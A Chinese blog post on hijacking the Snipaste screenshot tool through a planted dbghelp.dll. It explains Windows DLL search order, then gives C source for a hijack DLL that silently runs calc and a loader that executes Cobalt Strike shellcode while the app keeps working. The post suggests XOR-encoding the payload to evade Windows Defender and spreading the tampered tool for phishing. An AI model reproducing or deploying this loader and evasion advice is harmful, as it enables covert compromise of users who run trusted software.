Snipaste DLL劫持

  • A+
所属分类:逆向工程

DLL HIJACKING

DLL劫持(DLL Hijacking),由于程序加载dll时没有指定绝对路径,或者攻击者有权限将恶意的dll文件放置到指定目录(例如msdtc的dll劫持),导致程序启动时,加载dll执行恶意代码。不同版本的windows系统加载dll搜索的路径不同,在Win10中,操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径。

DLL搜索顺序

当LoadLibrary()调用时,系统会从以下顺序路径寻找dll。

  1. 程序所在目录

  2. C:WindowsSysWOW64

  3. C:WindowsSystem32

  4. C:WindowsSystem

  5. 用户当前目录

  6. PATH 环境变量中的目录

“程序所在目录”指的是执行程序时所处的位置,比如在 C:Userss1yeDesktop 目录执行某程序,这时“程序所在目录”就是Desktop目录。

KNOWDLLS注册表项

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

简单来说就是,如果待劫持的DLL在此项中有设置,就只能在系统目录调用。

SNIPASTE

Snipaste是一个比较好用的截图工具,官方网址https://zh.snipaste.com/

Snipaste DLL劫持

寻找可劫持DLL

使用Process Monitor查找缺失的dll,在本文中使用dbghelp.dll来实现劫持。

Snipaste DLL劫持

编写“黑”DLL

#include "pch.h"
#include <windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
                    )
{
   switch (ul_reason_for_call)
  {
   case DLL_PROCESS_ATTACH:
WinExec("cmd /c calc.exe",SW_HIDE);
   case DLL_THREAD_ATTACH:
   case DLL_THREAD_DETACH:
   case DLL_PROCESS_DETACH:
       break;
  }
   return TRUE;
}

简单的demo,一个无黑框(cmd弹窗)弹计算器。扔到snipaste目录即可。

Snipaste DLL劫持

效果

程序正常使用(正常截图)。

Snipaste DLL劫持

利用Cobalt Strike生成64位恶意shellcode,替换下面代码shellcode部分。

#include "pch.h"

HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
/* length: 894 bytes */
unsigned char shellcode[] = "x00x08...........";


DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
 LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(lpBase, shellcode, sizeof(shellcode));
 JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
 jmp_shellcode();
 return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
                     DWORD  ul_reason_for_call,
                     LPVOID lpReserved
                    )
{
 switch (ul_reason_for_call)
{
   case DLL_PROCESS_ATTACH:
     hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
   case DLL_THREAD_ATTACH:
   case DLL_THREAD_DETACH:
   case DLL_PROCESS_DETACH:
     break;
}
 return TRUE;
}

编译生成DLL,修改名字后放入Snipaste目录中即可。(截图功能依旧正常)

Snipaste DLL劫持

Snipaste DLL劫持

这个DLL360不杀,但是Windows Defender会杀掉,如果使用的话随便异或下就行。利用面不是很广,单纯的测着玩玩,用共享工具来钓鱼是个思路,遵守法律。


分享、点赞、看就是对我们的一种支持!

Snipaste DLL劫持



发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: